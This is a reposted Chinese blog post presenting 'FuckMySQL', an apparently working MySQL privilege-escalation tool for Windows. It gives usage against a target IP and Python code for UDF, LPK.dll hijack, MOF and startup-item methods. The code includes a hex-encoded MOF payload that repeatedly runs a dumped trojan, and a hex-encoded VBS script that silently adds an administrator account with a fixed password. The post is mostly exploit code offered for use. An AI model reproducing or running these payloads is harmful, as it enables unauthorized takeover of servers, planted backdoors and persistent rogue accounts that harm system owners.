提权技巧

FuckMySQL

字号+ 作者:Binghe 来源:转载 2017-03-08 10:02 我要评论( )

之前写过,但是就是一段代码,上来就一通导出执行,参数什么的都没有,实用性不行。此次改了,自己用着还算顺手。 工具我发在t00ls了,主要在此处给初学者童鞋们说......

之前写过,但是就是一段代码,上来就一通导出执行,参数什么的都没有,实用性不行。此次改了,自己用着还算顺手。
工具我发在t00ls了,主要在此处给初学者童鞋们说下编程细节。
王子表哥几次催我弄个python课程啥的,其实我只是野路子,没受过什么正规培训,正规的东西实在不敢插手,免得贻笑大方。

年终比较忙就不多说了。


用法:

 
c:\www\root.exe -h

  __            _    __  __       ____   ___  _

 / _|_   _  ___| | _|  \/  |_   _/ ___| / _ \| |

| |_| | | |/ __| |/ / |\/| | | | \___ \| | | | |      Author:v5est0r

|  _| |_| | (__|   <| |  | | |_| |___) | |_| | |___

|_|  \__,_|\___|_|\_\_|  |_|\__, |____/ \__\_\_____|

                            |___/



usage: root.py [-h] [-a HOST] [-o PORT] [-u USER] [-p PASSWD] [-e EXECUTE]

               [-m METHOD]



fuckmysql



optional arguments:

  -h, --help            show this help message and exit

  -a HOST, --host HOST  MySQL server ip

  -o PORT, --port PORT  MySQL Port

  -u USER, --user USER  mysql UserName

  -p PASSWD, --passwd PASSWD

                        mysql password

  -e EXECUTE, --execute EXECUTE

                        command for UDF to execute

  -m METHOD, --method METHOD

                        elevate method,eg:udf/mof/lpk/st

我在虚拟机演示打包好的exe远程提权:

默认UDF提权,也可以`-m udf`指定方式,`-e ipconfig`指定执行的cmd,默认执行whoami:

root.exe -a 192.168.1.105 -p root -e "ver&whoami" -m udf

 

有时候UDF无效,我们使用LPK.dll劫持:
root.exe -a 192.168.1.105 -p root -m lpk

 


验证一下lpk是否加上账户:


 

有时候UDF和LPK都无效,目标是windows2003,还有机会,可以MOF:

把你的木马的hex复制到同目录的hex.txt就行了,程序会导出木马到指定目录,并用mof执行。

 

每隔几秒就运行一次木马,有点尴尬,如何停止mof老司机都知道,我就不多说了。

 

有时候UDF和LPK都无效,那我们只能尝试被动写启动项:

root.exe -a 192.168.1.105 -p root -m st

 

可能存在路径编码问题写不成功,你可以根据提示,用本地的MySQL连接上去,执行。

 

当然还有情况是远程提权,UDF不能创建plugin目录,网上流传的ADS流创建目录我是没有成功过,工具里加了ADS流创建目录的代码,那么我们删掉plugin目录,再远程试试:

 


如上图,那就不行了,那么这种情况下,如果你有shell,在shell里的本地模式执行,就不一样了。

本地模式:
一般来说,php一般权限都是可以创建目录的,此处必须指定主机为`localhost或127.0.0.1`才会调用本地模式:
root.exe -a localhost -p root -e "ver&whoami" -m udf

 

代码简要说明:

改的主要是mof:
def mof_execute():

    # 替换目录下hex.txt内容为你的木马的hex

    f = open('hex.txt', 'r')

    content = f.read()

    hex_mof_backdoor = content

    hex_execute_mof = "23707261676D61206E616D65737061636528225C5C5C5C2E5C5C726F6F745C5C737562736372697074696F6E22290D0A696E7374616E6365206F66205F5F4576656E7446696C74657220617320244576656E7446696C7465720D0A7B0D0A4576656E744E616D657370616365203D2022526F6F745C5C43696D7632223B0D0A4E616D65203D202266696C745032223B0D0A5175657279203D202253656C656374202A2046726F6D205F5F496E7374616E63654D6F64696669636174696F6E4576656E7420220D0A22576865726520546172676574496E7374616E636520497361205C2257696E33325F4C6F63616C54696D655C2220220D0A22416E6420546172676574496E7374616E63652E5365636F6E64203D2035223B0D0A51756572794C616E6775616765203D202257514C223B0D0A7D3B0D0A0D0A696E7374616E6365206F66204163746976655363726970744576656E74436F6E73756D65722061732024436F6E73756D65720D0A7B0D0A4E616D65203D2022636F6E735043535632223B0D0A536372697074696E67456E67696E65203D20224A536372697074223B0D0A53637269707454657874203D0D0A2276617220575348203D206E657720416374697665584F626A656374285C22575363726970742E5368656C6C5C22295C6E5753482E72756E285C22633A2F746573742E6578655C2229223B0D0A7D3B0D0A0D0A696E7374616E6365206F66205F5F46696C746572546F436F6E73756D657242696E64696E670D0A7B0D0A436F6E73756D6572203D2024436F6E73756D65723B0D0A46696C746572203D20244576656E7446696C7465723B0D0A7D3B"

    # Mof文件执行导出的木马

    sql_dump_backdoor = "select 0x%s into dumpfile 'c:/test.exe'" % hex_mof_backdoor

    # mof file execute c:/test.exe

    sql_dump_mof = "select 0x%s into dumpfile 'c:/windows/system32/wbem/mof/test.mof'" % hex_execute_mof

    cursor = conn.cursor()

    try:

        cursor.execute(sql_dump_backdoor)

    except:

        pass

    try:

        cursor.execute(sql_dump_mof)

    except:

        pass

    print success_mof

    return;

UDF失败的时候,把木马的hex放在同目录,可以导出到指定目录并执行。

还有就是比上次加了个判断本地模式,远程情况下是通过ADS创建,成功率极低。本地模式强制创建,一般来说php的权限就够了,有shell建议传到shell:
    # 本地模式强制创建`lib/plugin/`目录

    if conn.host=='127.0.0.1' or conn.host=='localhost':

        try:

            os.makedirs(mysql_rootpath + 'lib/plugin')

        except:

            pass

        dllpath_exist = os.path.exists(mysql_rootpath + 'lib/plugin')

        if dllpath_exist == True:

            print("Made dir '/lib/plugin' by local method successfully!")

如此判断MySQL版本并确定导出的dll路径:
sql_select_ver = 'select version()'



    # 取MySQL版本

    cursor.execute(sql_select_ver)

    res_ver = cursor.fetchall()

    for row in res_ver:

        mysql_ver = "%s" % row

    str = mysql_ver

    ver_float = str[0:3]



    # 根据MySQL版本不同确定导出的DLL路径

    if float(ver_float) > 5.0:

        pluginpath = mysql_rootpath + "lib/plugin/"

        dllpath = mysql_rootpath + "lib/plugin/BingheSec.dll"

导出到启动项也是简单,导出的是vbs的添加账户脚本,静默运行:
[AppleScript] 纯文本查看 复制代码
def startup_dump():

    sql_startup_dump = "select 0x7365742077736E6574776F726B3D4372656174654F626A6563742822575343524950542E4E4554574F524B22290D0A6F733D2257696E4E543A2F2F222677736E6574776F726B2E436F6D70757465724E616D650D0A536574206F623D4765744F626A656374286F73292027B5C3B5BD61647369BDD3BFDA2CB0F3B6A80D0A536574206F653D4765744F626A656374286F7326222F41646D696E6973747261746F72732C67726F757022292027CAF4D0D42C61646D696ED7E90D0A536574206F643D6F622E437265617465282275736572222C2242696E6768655365632422292027BDA8C1A2D3C3BBA70D0A6F642E53657450617373776F726420223738393435363132332B616263222027C9E8D6C3C3DCC2EB0D0A6F642E536574496E666F2027B1A3B4E60D0A536574206F663D4765744F626A656374286F7326222F66726565617374222C75736572292027B5C3B5BDD3C3BBA70D0A6F652E616464206F7326222F667265656173742220 into dumpfile 'c:/docume~1/alluse~1/「开始」菜单/程序/启动/user.vbs'"

    cursor = conn.cursor()

    try:

        cursor.execute(sql_startup_dump)

    except:

        pass

    print "if dump to startup failed,try:\n%s;\n"%sql_startup_dump

    return;

基本完毕,仅做方便。

工具下载



本文来自: 蜗蜗侠's Blog-关注网络安全 http://blog.icxun.cn/hack/Right/586.html

1.本站遵循行业规范,任何转载的稿件都会明确标注作者和来源;2.本站的原创文章,请转载时务必注明文章作者和来源,不尊重原创的行为我们将追究责任;3.作者投稿可能会经我们编辑修改或补充。

相关文章
网友点评
暂时未开启评论功能~